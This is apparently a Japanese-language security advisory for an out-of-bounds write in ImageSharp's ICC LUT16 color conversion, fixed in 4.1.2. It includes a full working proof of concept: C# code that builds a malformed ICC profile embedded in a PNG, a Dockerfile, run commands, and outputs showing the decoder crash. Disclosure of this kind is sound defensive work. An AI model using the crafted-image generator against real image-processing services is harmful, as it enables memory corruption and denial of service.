ImageSharp: ICC LUT16出力チャンネル数に関する問題:Vector4の範囲を超える書き込み
### 概要
ICC変換が有効になっている場合、不正な埋め込みICC LUT16プロファイルで、出力チャンネルが4つを超える場合、ImageSharpのカラー変換中にメモリが破損する可能性があります。ICCパーサーは最大15個のCLUT出力チャンネルをサポートしていますが、変換の実装では中間値を`Vector4`に格納しています。
### 影響を受けるパッケージとバージョン
- パッケージ: `SixLabors.ImageSharp` (NuGet)
- 影響を受ける公開バージョン: **4.0.0、4.1.0、および4.1.1**
- 影響を受ける範囲: `>= 4.0.0、<= 4.1.1`
- コミット `0815358f9202a78bc7f3b83e19282dc3654b500f` は、リリース **v4.1.1** に対応しています。
再現された`ColorProfileHandling.Convert`の処理パスと、安全でない`Vector4` LUT操作は、v4.0.0からv4.1.1までのすべてのバージョンに存在し、変更されていません。3つの出力チャンネルを使用する処理は、すべての公開されている4.xバージョンで成功しますが、15個の出力チャンネルを使用する脆弱性は、すべてのバージョンで問題を引き起こします。
### 詳細
`IccClut`は、1つから15個の入力および出力チャンネルを受け入れます。
再現された`A2B0` LUT16の処理パスでは、攻撃者が制御するプロファイルが、3つの入力チャンネルと15個の出力チャンネルを宣言します。[`ClutCalculator.Calculate`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/ClutCalculator.cs#L66-L87)
は、4つの浮動小数点数からなる`Vector4`の結果へのポインタを、宣言された各出力チャンネルに対して1つの浮動小数点数を書き込む補間コードに渡します。その結果、15個の浮動小数点数が書き込まれます。
同じLUT16タグには、15個の出力LUTも含まれています。これらの[`LutEntryCalculator.CalculateLut`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/ColorProfiles/Icc/Calculators/LutEntryCalculator.cs#L49-L58)
の実装では、4つの浮動小数点数からなる`Vector4`の最初の浮動小数点数から`Unsafe.Add`を使用してアクセスしています。
アプリケーションは、`DecoderOptions.ColorProfileHandling`を`Convert`に設定して、プロファイルを含む画像をデコードすることで、このコードに到達します。`Preserve`がデフォルトであり、ICC変換は実行されません。
### 再現環境と結果
提供されたエクスプロイトとコントロールは、NuGet 4.1.1の`net8.0` DLLを、Debian 12 / Linux arm64上で、.NET SDK 8.0.424と.NETランタイム8.0.30を搭載したDocker環境で実行しました。
コントロールは、宣言された出力チャンネル数を15から3に変更し、正常に完了しました。エクスプロイトは、完了マーカーに到達する前に、終了ステータス139で終了しました。このランタイムのPoCは、結合されたLUT16 CLUT/出力LUTパスにおけるメモリ破壊を確立しますが、どの不正な書き込みが最初にスタックを破壊するかを特定していません。完全なスタンドアロンのDocker PoCは、以下に記載されています。
完全なコントロール出力:
```text
mode=control output_channels=3
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=204
decode_completed
Docker exit status: 0
```
完全なエクスプロイト出力:
```text
mode=exploit output_channels=15
imagesharp_assembly=/work/bin/Release/net8.0/SixLabors.ImageSharp.dll
imagesharp_version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
png_bytes=207
Docker exit status: 139
```
現在、アクティブなエクスプロイトは確認されていません。
### 影響
攻撃者が提供した画像を処理する際に、ICC変換を有効にするアプリケーションは、再現されたLUT16 CLUT/出力LUTパスにおけるメモリ破壊によって、強制終了される可能性があります。このレポートは、そのパスにおける出力チャンネル数が4より大きい場合に限定されます。TRCの問題や、再現されていない他のICCパスについては言及していません。
### 完全なPoCファイル
Program.cs:
```csharp
using System;
using System.Buffers.Binary;
using System.IO;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Metadata.Profiles.Icc;
using SixLabors.ImageSharp.PixelFormats;
```
```text
static class Program
{
private static void U32(Stream stream, uint value)
{
Span<byte> bytes = stackalloc byte[4];
BinaryPrimitives.WriteUInt32BigEndian(bytes, value);
stream.Write(bytes);
}
private static void U16(Stream stream, ushort value)
{
Span<byte> bytes = stackalloc byte[2];
BinaryPrimitives.WriteUInt16BigEndian(bytes, value);
stream.Write(bytes);
}
private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D)));
// 妥当なRGBからXYZへのLUT16 A2B0プロファイル。唯一の違いは、outCh: 15がICC解析で受け入れられるが、Vector4に格納できない点です。
private static byte[] BuildIcc(int outCh)
{
const int inCh = 3;
const int clutPoints = 2;
const int tableEntries = 2;
using var stream = new MemoryStream();
byte[] header = new byte[128];
BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3
Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // ディスプレイデバイス
Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16);
Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20);
stream.Write(header);
U32(stream, 1); // 1つのタグ
stream.Write(Encoding.ASCII.GetBytes("A2B0"));
long offsetField = stream.Position; U32(stream, 0);
long sizeField = stream.Position; U32(stream, 0);
long tagStart = stream.Position;
stream.Write(Encoding.ASCII.GetBytes("mft2"));
U32(stream, 0);
stream.WriteByte(inCh);
stream.WriteByte((byte)outCh);
stream.WriteByte(clutPoints);
stream.WriteByte(0);
for (int y = 0; y < 3; y++)
{
for (int x = 0; x < 3; x++) Fixed16(stream, x == y ? 1D : 0D);
}
```
U16(stream, tableEntries);
U16(stream, tableEntries);
for (int channel = 0; channel < inCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
for (int point = 0; point < 8; point++)
{
for (int channel = 0; channel < outCh; channel++) U16(stream, 0x8000);
}
for (int channel = 0; channel < outCh; channel++)
{
U16(stream, 0); U16(stream, ushort.MaxValue);
}
long tagEnd = stream.Position;
byte[] result = stream.ToArray();
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)offsetField), (uint)tagStart);
BinaryPrimitives.WriteUInt32BigEndian(result.AsSpan((int)sizeField), (uint)(tagEnd - tagStart));
BinaryPrimitives.WriteUInt32BigEndian(result, (uint)result.Length);
return result;
}
private static byte[] BuildPng(byte[] icc)
{
using var source = new Image<Rgb24>(16, 16);
source.Metadata.IccProfile = new IccProfile(icc);
using var encoded = new MemoryStream();
source.SaveAsPng(encoded);
return encoded.ToArray();
}
```
public static int Main(string[] args)
{
string mode = args.Length == 1 ? args[0] : "exploit";
if (mode is not ("exploit" or "control")) throw new ArgumentException("modeはexploitまたはcontrolでなければなりません");
int outputChannels = mode == "exploit" ? 15 : 3;
Console.WriteLine($"mode={mode} output_channels={outputChannels}");
Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}");
Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?.InformationalVersion}");
byte[] png = BuildPng(BuildIcc(outputChannels));
Console.WriteLine($"png_bytes={png.Length}");
var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert };
using Image image = Image.Load(options, png);
Console.WriteLine("decode_completed");
return 0;
}
}
```
プロジェクトファイル:
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
<Private>true</Private>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
<Private>true</Private>
</Reference>
</ItemGroup>
</Project>
```
Dockerfile:
```dockerfile
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY ffp7.csproj Program.cs ./
# パッケージの取得のみを行います。リプロダクションプロジェクトでは、
# 直接DLLを参照するため、ImageSharpのパッケージビルドターゲットは呼び出されません。
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build ffp7.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/ffp7.dll"]
```
実行方法:
```sh
docker build -t imagesharp-ffp7-poc .
docker run --rm imagesharp-ffp7-poc control
docker run --rm imagesharp-ffp7-poc exploit
```
影響を受けるパッケージ:
- nuget SixLabors.ImageSharp: 影響あり (バージョン 4.0.0 以降、4.1.1 以下)、4.1.2 で修正済み。